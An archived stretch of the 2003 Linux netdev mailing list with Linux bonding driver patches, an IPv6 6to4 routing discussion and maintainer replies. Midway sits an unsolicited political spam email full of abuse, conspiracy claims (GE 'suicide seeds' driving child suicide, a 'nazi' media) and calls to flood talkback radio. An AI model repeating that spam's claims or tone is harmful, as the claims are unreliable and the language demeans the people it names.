netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:33 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:34 2003 @@ -3466,6 +3466,45 @@ static int bond_read_proc(char *buf, cha #endif /* CONFIG_PROC_FS */ +static int bond_create_proc_info(struct bonding *bond) +{ +#ifdef CONFIG_PROC_FS + struct net_device *dev = bond->device; + + bond->bond_proc_dir = proc_mkdir(dev->name, proc_net); + if (bond->bond_proc_dir == NULL) { + printk(KERN_ERR "%s: Cannot init /proc/net/%s/\n", + dev->name, dev->name); + return -ENOMEM; + } + bond->bond_proc_dir->owner = THIS_MODULE; + + bond->bond_proc_info_file = + create_proc_read_entry("info", 0, bond->bond_proc_dir, + bond_read_proc, bond); + if (bond->bond_proc_info_file == NULL) { + printk(KERN_ERR "%s: Cannot init /proc/net/%s/info\n", + dev->name, dev->name); + remove_proc_entry(dev->name, proc_net); + return -ENOMEM; + } + bond->bond_proc_info_file->owner = THIS_MODULE; + + memcpy(bond->procdir_name, dev->name, IFNAMSIZ); +#endif /* CONFIG_PROC_FS */ + return 0; +} + +static void bond_destroy_proc_info(struct bonding *bond) +{ +#ifdef CONFIG_PROC_FS + remove_proc_entry("info", bond->bond_proc_dir); + remove_proc_entry(bond->procdir_name, proc_net); + memset(bond->procdir_name, 0, IFNAMSIZ); + bond->bond_proc_dir = NULL; +#endif /* CONFIG_PROC_FS */ +} + /* * Change HW address * @@ -3614,10 +3653,7 @@ static void bond_deinit(struct net_devic list_del(&bond->bond_list); -#ifdef CONFIG_PROC_FS - remove_proc_entry("info", bond->bond_proc_dir); - remove_proc_entry(dev->name, proc_net); -#endif + bond_destroy_proc_info(bond); } static void bond_free_all(void) @@ -3633,10 +3669,15 @@ static void bond_free_all(void) } } +/* + * Does not allocate but creates a /proc entry. + * Allowed to fail. + */ static int __init bond_init(struct net_device *dev) { struct bonding *bond; int count; + int err = 0; #ifdef BONDING_DEBUG printk (KERN_INFO "Begin bond_init for %s\n", dev->name); @@ -3715,30 +3756,26 @@ static int __init bond_init(struct net_d printk("out ARP monitoring\n"); } -#ifdef CONFIG_PROC_FS - bond->bond_proc_dir = proc_mkdir(dev->name, proc_net); - if (bond->bond_proc_dir == NULL) { - printk(KERN_ERR "%s: Cannot init /proc/net/%s/\n", - dev->name, dev->name); - return -ENOMEM; + err = bond_create_proc_info(bond); + if (err) { + printk(KERN_ERR "%s: Failed to create proc entry\n", + dev->name); + return err; } - bond->bond_proc_dir->owner = THIS_MODULE; - bond->bond_proc_info_file = - create_proc_read_entry("info", 0, bond->bond_proc_dir, - bond_read_proc, bond); - if (bond->bond_proc_info_file == NULL) { - printk(KERN_ERR "%s: Cannot init /proc/net/%s/info\n", - dev->name, dev->name); - remove_proc_entry(dev->name, proc_net); - return -ENOMEM; - } - bond->bond_proc_info_file->owner = THIS_MODULE; -#endif /* CONFIG_PROC_FS */ + /* Future: + * If anything fails beyond this point + * make sure to destroy the proc entry + */ list_add_tail(&bond->bond_list, &bond_dev_list); return 0; +/* +err_out: + bond_destroy_proc_info(bond); + return err; +*/ } /* diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Thu Sep 11 16:48:33 2003 +++ b/drivers/net/bonding/bonding.h Thu Sep 11 16:48:34 2003 @@ -103,6 +103,7 @@ typedef struct bonding { #ifdef CONFIG_PROC_FS struct proc_dir_entry *bond_proc_dir; struct proc_dir_entry *bond_proc_info_file; + char procdir_name[IFNAMSIZ]; #endif /* CONFIG_PROC_FS */ struct list_head bond_list; struct net_device *device; From amir.noam@intel.com Thu Sep 11 07:45:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:45:05 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEj3Ya004119 for ; Thu, 11 Sep 2003 07:45:04 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEgdQ18326 for ; Thu, 11 Sep 2003 14:42:39 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEdhI19991 for ; Thu, 11 Sep 2003 14:39:43 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107445504191 ; Thu, 11 Sep 2003 07:44:56 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 9/10] [bonding 2.6] Add missing free_netdev() Date: Thu, 11 Sep 2003 17:44:54 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111744.54683.amir.noam@intel.com> X-archive-position: 5767 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:40 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:41 2003 @@ -3788,7 +3788,7 @@ static void bond_free_all(void) unregister_netdev(dev); bond_deinit(dev); - kfree(dev); + free_netdev(dev); } } @@ -4194,7 +4194,7 @@ static int __init bonding_init(void) err = dev_alloc_name(dev, "bond%d"); if (err < 0) { - kfree(dev); + free_netdev(dev); goto out_err; } @@ -4204,7 +4204,7 @@ static int __init bonding_init(void) */ err = bond_init(dev); if (err < 0) { - kfree(dev); + free_netdev(dev); goto out_err; } @@ -4213,7 +4213,7 @@ static int __init bonding_init(void) err = register_netdevice(dev); if (err < 0) { bond_deinit(dev); - kfree(dev); + free_netdev(dev); goto out_err; } } From amir.noam@intel.com Thu Sep 11 07:46:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:46:30 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEkTYa004468 for ; Thu, 11 Sep 2003 07:46:29 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEi4Q19151 for ; Thu, 11 Sep 2003 14:44:04 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEf8I20844 for ; Thu, 11 Sep 2003 14:41:08 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107462012861 ; Thu, 11 Sep 2003 07:46:21 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 10/10] [bonding 2.6] Fix ipx_hdr compile error Date: Thu, 11 Sep 2003 17:46:19 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111746.19979.amir.noam@intel.com> X-archive-position: 5768 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Thu Sep 11 16:48:44 2003 +++ b/drivers/net/bonding/bond_alb.c Thu Sep 11 16:48:45 2003 @@ -1329,16 +1329,15 @@ bond_alb_xmit(struct sk_buff *skb, struc hash_size = 16; break; -#ifdef FIXME case ETH_P_IPX: - if (skb->nh.ipxh->ipx_checksum != + if (ipx_hdr(skb)->ipx_checksum != __constant_htons(IPX_NO_CHECKSUM)) { /* something is wrong with this packet */ do_tx_balance = 0; break; } - if (skb->nh.ipxh->ipx_type != + if (ipx_hdr(skb)->ipx_type != __constant_htons(IPX_TYPE_NCP)) { /* The only protocol worth balancing in * this family since it has an "ARP" like @@ -1351,7 +1350,6 @@ bond_alb_xmit(struct sk_buff *skb, struc hash_start = (char*)eth_data->h_dest; hash_size = ETH_ALEN; break; -#endif case ETH_P_ARP: do_tx_balance = 0; From rask@sygehus.dk Thu Sep 11 07:57:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:57:41 -0700 (PDT) Received: from user6.cybercity.dk (fxp0.user6.ip.cybercity.dk [212.242.41.54]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEvbYa005053 for ; Thu, 11 Sep 2003 07:57:39 -0700 Received: from privat.webmail.cybercity.dk (localhost [127.0.0.1]) by user6.cybercity.dk (8.12.9/8.12.9) with ESMTP id h8BEvaew064560 for ; Thu, 11 Sep 2003 16:57:36 +0200 (CEST) (envelope-from rask@sygehus.dk) From: "Rask Ingemann Lambertsen" To: netdev@oss.sgi.com Subject: Re: network interface cards native vlans support in linux kernel? Date: Thu, 11 Sep 2003 15:57:36 +0100 Message-Id: <20030911145555.M56042@sygehus.dk> In-Reply-To: <20030709152814.GC15293@gtf.org> References: <20030709152814.GC15293@gtf.org> X-Mailer: Cybercity Webmail 2.01 20030425 X-OriginatingIP: 152.95.52.86 (ccc94453) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-archive-position: 5769 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev On Wed, 9 Jul 2003 11:28:15 -0400, Jeff Garzik wrote > On Wed, Jul 09, 2003 at 06:19:51PM +0300, Andrius Kasparavicius wrote: > > hello, as far as i know, currently there is no native vlan support in > > network device drivers. I mean, always need patching MTU.. add 4 bytes.. [cut] > A few drivers still need patching, and unfortunately the VLAN driver > patches floating around all need cleaning up. What does a network device driver need to do to ensure VLAN compatibility? Is it as simple as allocating buffer space for MTU + 4 bytes or is there more to it than that? -- Regards, Rask Ingemann Lambertsen From jgarzik@pobox.com Thu Sep 11 08:50:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 08:50:19 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BFoHYa006712 for ; Thu, 11 Sep 2003 08:50:18 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39751 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xSr9-0005Jz-DD; Thu, 11 Sep 2003 15:55:35 +0100 Message-ID: <3F608CDC.4020103@pobox.com> Date: Thu, 11 Sep 2003 10:55:24 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 0/10] [bonding 2.6] propagating master's settings to slaves References: <200309111737.15424.amir.noam@intel.com> In-Reply-To: <200309111737.15424.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5770 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Amir Noam wrote: > The following set ports to 2.6 the propagation patch set that went into > 2.4.23-pre3. Also, fix a free_netdev() error that the previous patch set > introduced and fix a compile error using ipx_hdr(). Thanks! > Patches should be applied after the previous patch set (sent 2003/09/04) > that ported bug fixes from 2.4. Today is my work-at-home day, and I was actually putting these ("these" == previous patch set you mention) in my queue right now. Hopefully I can get to this new set today as well. Jeff From pekkas@netcore.fi Thu Sep 11 09:40:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 09:40:20 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BGeHYa008367 for ; Thu, 11 Sep 2003 09:40:18 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8BGe7w15153; Thu, 11 Sep 2003 19:40:08 +0300 Date: Thu, 11 Sep 2003 19:40:04 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063288826.23778.243.camel@hades.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5771 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Thu, 11 Sep 2003, David Woodhouse wrote: > On Thu, 2003-09-11 at 16:20 +0300, Pekka Savola wrote: > > > That's why we'd want outgoing-connections-only for all the internal IPv6 > > > machines, just as they have in the IPv4 world by virtue of being behind > > > NAT. > > > > Right. (This is a bit tricker with Linux IPv6 firewalling as it doesn't > > support connection tracking, but still roughly doable.) > > This is a fundamental requirement before we will be permitted allow > connectivity to the outside world, I think. Yep. > > > In fact, we don't have to get it 100% correct -- as long as we ensure > > > that the failure mode where we route to internal hosts using our > > > non-HQ-derived IPv6 address isn't going to happen, > > > > This is a bit tricky. There are two ways to hack around this: > > > > 1) at your HQ, create an inbound firewall filter, so that you'll disallow > > any incoming packets to the "internal blocks" from the Internet. If a > > host happens to start fall back to using global connectivity, the > > connectivity fails utterly. > > Nono, talking to the outside world using HQ-derived addresses is _OK_. > It's just a bit slower than using the locally-derived addresses, since > we go through the tunnels. > > What's going to break is talking to _internal_ machines using our > locally-derived address. Our packets will get to them fine, over the > internal tunnels, but their route back to us will then be over the > Internet rather than through the internal tunnels, and hence it'll get > firewalled. .. which is exactly why I proposed the above. Breaking connectivity indicates that something is wrong.. better than communicating insecurely while believing the communication is secure :-) > It's just a source-address-selection issue. If our HQ-assigned network > is 2001:200:0::/48 and we are both 2001:200:0:8002:: and some > other locally-obtained address, then we MUST use our 2001:200:0:: > (internal) address as source for all destinations in 2001:200:0::/48. It > would be _nice_ if we use the other address for all other destinations, > but it's not imperative. > > AFAICT Rule 8 of RFC2484 is going to give us that anyway, and isn't > going to be superseded by Rules 1-7 either. It should be fine. Note that there is still the problem with destination address selection (or not, if you follow good DNS naming conventions), and those (old) versions that don't implement the source address selection. > > 2) at your edge sites, make a firewall filter which prevents reaching > > "internal blocks" through the Internet (automated installation could be > > achieved using any number of mechanisms, whichever you're using). > > We'll be routing 'internal' addresses through our tunnels rather than > out the site's IPv6 link to the Internet anyway. Right, this is just a safeguard to prevent your internal stuff going out over the internet by mistake. > > .. in addition, up-to-date source address selection in the kernel should > > ensure that does not happen when you'd use only "internal addresses" in > > your DNS, or give internal addresses as command-line. > > > > Destination address selection is a bit trickier (hence the methods above) > > because if you'd get "internal address" and "external address" from the > > DNS, and the glibc getaddrinfo() implementation would pick one at random, > > this would lead to using the external connectivity half of the times, > > unless prevented with e.g. those filters or by administration (about the > > DNS names) > > We can avoid this question entirely. The 'company.internal' domain would > have only the HQ-derived addresses in it. The IPv6 addresses obtained > for external connectivity at each site are irrelevant for internal > communication. Agreed. > Likewise, since ingress from the public Internet isn't going to be > permitted, there's no real need for there to be AAAA records for the > site-derived addresses in the 'company.com' domain. > > It's only source-address selection which we need to care about, and that > should be fine. In your particular case, should be, yes (but I'd still keep the safeguards in place :-). > > Kernel looks up all the v4 broadcast addresses from all the interfaces..? > > Should be pretty doable. > > Oh, it knows its _own_ and shouldn't actually send a broadcast IPv4 > packet after decapsulating a 6to4 packet -- but it's also supposed to > magically know not to encapsulate into IPv4 a packet with an IPv4 > address encoded which _happens_ to be a subnet broadcast elsewhere. It > can't know that. Of course, that cannot be known .. and I don't think the document even claims so. > > > Do you reckon there are boxen out there which will refuse to > > > route for 2002:c35c:f9ff::1 just as some refuse to route for > > > 195.92.249.255? > > > > I'm not sure if such implementations exist, but if they don't, there are > > specific threats (though minor) if such check are implemented. > > That was a valid IPv4 address; it just happens to have a 255 in its last > octet. There _are_ some people who can't route to it though, because > some router in between thinks it's a subnet broadcast. Right. > > Mobile IPv6 won't help with that, in practice. That's because the binding > > between care-of and home addresses must be secured. > <...> > > So, this would create many new roundtrips, which is not really what you'd > > want.. > > Well, the _initial_ connection would all be tunnelled, and the binding > would be set up in parallel, so that you end up routing optimally; just > going via the tunnel to start with. I don't see how that would be different from a VPN scenario, but yes; I guess if you deployed MIPv6 on every host, you could use it to communicate securely and in ad-hoc fashion between the mobile node and the home agent. You could even forget about CIPE for v6. Mobile IPv6 requires IPv6 connectivity too, though. But I'm not sure if that buys you much in this scenario. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From inform@orcon.net.nz Thu Sep 11 11:28:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 11:28:49 -0700 (PDT) Received: from localhost ([210.21.34.179]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BISZYa012270 for ; Thu, 11 Sep 2003 11:28:46 -0700 Message-ID: <415-2200396651716443@orcon.net.nz> Organisation: Green New Zealand From: "Green New Zealand" To: netdev@oss.sgi.com Subject: New Zealand fooled by smarmy traitor G.E. right-wing media Date: Sat, 6 Sep 2003 17:17:17 +1200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8BISZYa012270 X-archive-position: 5773 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: inform@orcon.net.nz Precedence: bulk X-list: netdev Content-Length: 7159 Lines: 56 The Second Genesis of all life is from Satan - Genetic Engineering is American death-branding of our food.( that should rattle right-wing media cages) The Media in New Zealand is run by A SMALL BUNCH OF MEAN SELFISH SUPER-RICH IGNORANT OPINIONATED INCESTUOUS RIGHT-WING TRAITOROUS little bullies- soft men and hard dominatrix women, a cult, the New Order religion, all black candles and sour incense, that we are never allowed to criticise, and who really are the main party that rules us, and who cannot be voted out!. This is the New Order Moral Majority. Three strikes and you are out nazis. They really hate our little kiwi boy-taggers- the only underground New Zealand has left. Tagging is a sign of alienation, grief and mental breakdown and the LAST little protest left in our young. And no wonder! Taggers never tag greeny hoardings though! Discuss at http://chalkon.com (HOSTED BY FRANCE FOR YOUR SAFETY AND ANONYMITY) So "Eyes Wide Shut" -Media GO! BEGONE! YOU ARE NECROPHILIAC death lovers. We conjure you ..We order you! GO! Why is the New Zealand media this craven coward that refuses to acknowledge the Zionist APARTHEID on Palestine's Arabs? Add your own topic at http://chalkon.com. There is also a super-fast chat for swapping phone numbers links etc or um flirting...why not? Chat here: http://fastforums.netfirms.com/chatform.html GE food coming - the final obscenity! More of our children will kill themselves? Even Archbishop Desmond Tutu has said that that big Zionist apartheid wall is a shocker and it represents APARTHEID.. Why is the media doing such a deliberately late look at the final solution on our food:frankestein GE food and SUICIDE seeds from America. You have to buy them - every year! They suicide - really. THE PERFECT SCAM! -SURE BEATS MEDIA MAGNETIC MATTRESSES ETC NZ is nearly sunk! Stinking lakes now, then soon this stinking GE - the America-Monsanto final solution we do not need it! Why is MOST of the media saying it is too late to change Helen Craft from GE? That is a damn audacious lie by the media. http://www.koanga.co.nz/hikoi/index.html is the brave little hikoi, that the limp-wrist lame media ignore. LET THERE BE NO MORE TELEVISION "WORM" EVER EVER AGAIN. A Holmes' stunt to elect Peter Dunne over Jeanette Fitsimmon!! Nazi trick. Why is Paul Holmes (TVDUMB- Radio1ZB- NZ-Herald) not opening all that up, if he is not a closet fascist.? Rather talk about goldfish or gay Sydney hairdressers? As a writer for the newspapers he is very very anti-green. Why do so many in the media act like our censoring Kapo guards? http://chalkon.com Sold out to the American Dream-Nightmare? Why did the media make us copy America and get so sick, obese and diabetic ..er and CRIMINAL! Do they want a Police State? Three Strikes Chris Fletcher will be pushed for mayor by the media next time around. Believe it! And wake up. It is not too late. If you don't want a police state, on diabetes insulin drip and GE modified and force-fed pap biased news from nazi America - no free speech - no BBC news EVEN -- then use our free speech.. http://chalkon.com to get back our freedoms and organise RESISTANCE against the right wing radicals! They include all of the political parties except the greens. (even protest T-Shirts get banned in the USA now) TONIGHT (tues Sept 2, 2003) the anti-green FASCISTS Pam Corkery and Barry Soper (both spawned in Radio Pacific) on TV Dumb said quote " Jeanette Fitzimmons talks a lot of EXCREMENT." http://www.madge.net.nz/ Is not excrement. http://greens.org.nz/ is all true and Pam should get in touch with her true womanhood and stop playing with the naughty boys. If the greens don't take this insult up with the Broadcasting Tribunal then they deserve their ridiculously low 6%. Later we could look at the mental fitness of those who presently rule us. Media and politicians. A symbiosis? An incestuous Nepotism? Spin? Traitorous? Vichy? Pays well but! And ironically - look also at those who purport to challenge those who rule us, ie "the official protest", that abides none other and is too middle-class by far? SOCIOPATHS AND OTHERS. Does forgoing the pleasure of motherhood make some women quite mad.... mad enough to revenge on Gaia the Earth Mother thing..? Her very seeds?? And annually opt to buy in frankenstein seeds , from America, THE GREAT SEED SATAN? Do gruff-pants Prime Minister Helen Clark and her obese Minister of the Environment Marian Hobbs dress up in Marilyn Manson gear AND GO chanting with media mates Ralston, Fraser, Holmes, Woodham, Corkery, Smith and all talkback hosts: "Kill the Seed! Die the Seed! Suicide Seed! - Monsanto is our God and there is no other! Suicide Seed! Suicide Seed! May all the babies split asunder! Thunder! Plunder! Kill all the wombs of the barley, wheat and mother! Especially the mother!"........ ""Since 1920 we have lost around 90% of our vegetable seed, around 85% of the fruit varieties and our flowers are going fast. They are extinct, irretrievable."" Anyone care? No? Are GE SUICIDE SEEDS going to make it worse? Is all this what makes our kids suicide? Almost certainly when added to junk food and violence DEATH films from the Bush evil axis and pushed by our sick strange media on our children. http://chalkon.com opt out or opt in of this newsletter is up to you and it makes it more legal.... harrumph. Send any hate hissy fits about this email to the boys at bushmonsanto@bushwhitehouse.com (not!) Send love and support for us to folk@orcon.net.nz Enjoy the war! What did you do in the war Daddy? Mummy? Get motivated! Ring ringnetdev@oss.sgi.com ring ring ring your local talkback radio. Ring 197 first to be anonymous, do voice and name changes when you get cut off, ring again! Overcome your middle-class distate of the milieu. Our children's lives are on the line! So chalk on! Win for once! 250.000 people are listening and need the truth. It is just exactly what good old Jesus would do. "No GE in my loaves and fishes Monsanto-America!" er saith the lord, new reformed Bible. And the Torah. and the Holy Koran. SWAP PHONE NUMBERS AND EMAILS. ORGANISE! And our own Peter Jackson, please team up with american patriot Michael Moore of "Bowling for Columbine" fame. Leave the Hollywood model. It's crap. and Xena please get a true kiwi makeover, sweet thing. History will remember you. A real Boadicea that helped saved her people not sold them out. Please Note: We are not with any groups or parties. All links are not ours. ...except chalkon.com which the patriotic can chalk and join.(any name is OK) Unsubsribe is at gotome@orcon.net.nz ..Put the word unsubscribe in the subject and body of your email to unsubscribe and be all alone and individual again. Er ...Good Luck if you do... PLEASE FORWARD TO ALL YOUR FRIENDS THIS email for a victory over our crass stupid evil traitor-bullies - the few that presently rule us - who we TOGETHER, - outnumber them millions. KIA ORA AROHA STAY COOL. "All that is required for evil to prevail is for good men to do nothing." -- Edmund Burke From jgarzik@pobox.com Thu Sep 11 11:58:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 11:58:52 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BIwoYa013327 for ; Thu, 11 Sep 2003 11:58:51 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39813 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xWeY-00086f-0v; Thu, 11 Sep 2003 19:58:50 +0100 Message-ID: <3F60C5DF.5030605@pobox.com> Date: Thu, 11 Sep 2003 14:58:39 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 0/10] [bonding 2.6] propagating master's settings to slaves References: <200309111737.15424.amir.noam@intel.com> In-Reply-To: <200309111737.15424.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5774 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 343 Lines: 18 Amir Noam wrote: > patch2: Change monitoring function use the above functionality. > patch8: Enhance netdev notification handling. > Add comment block and bump version. Can you re-send these patches to me to privately? I am missing these. (netdev list server has been having problems lately... hopefully they are resolved) Jeff From jgarzik@pobox.com Thu Sep 11 12:18:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:18:26 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJIIYa014175 for ; Thu, 11 Sep 2003 12:18:19 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39821 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xWxM-0008H1-I4; Thu, 11 Sep 2003 20:18:16 +0100 Message-ID: <3F60CA6D.9090503@pobox.com> Date: Thu, 11 Sep 2003 15:18:05 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5775 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 647 Lines: 22 Feldman, Scott wrote: > * Change the default number of Tx descriptors from 256 to 1024. > Data from [ricardoz@us.ibm.com] shows it's easy to overrun > the Tx desc queue. All e1000 patches applied except this one. Of _course_ it's easy to overrun the Tx desc queue. That's why we have a TX queue sitting on top of the NIC's hardware queue. And TCP socket buffers on top of that. And similar things. Descriptor increases like this are usually the result of some sillyhead blasting out UDP packets, and then wondering why he sees packet loss on the local computer (the "blast out packets" side). You're just wasting memory. Jeff From jgarzik@pobox.com Thu Sep 11 12:25:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:25:06 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJP4Ya014616 for ; Thu, 11 Sep 2003 12:25:05 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39823 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xX3v-0008K1-Tc; Thu, 11 Sep 2003 20:25:04 +0100 Message-ID: <3F60CC05.8010409@pobox.com> Date: Thu, 11 Sep 2003 15:24:53 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [PATCH] tr/olympic probe: remove #warning, improve error handling References: <20030910213758.78570231.rddunlap@osdl.org> In-Reply-To: <20030910213758.78570231.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5776 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9 Lines: 2 applied From jgarzik@pobox.com Thu Sep 11 12:25:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:25:54 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk 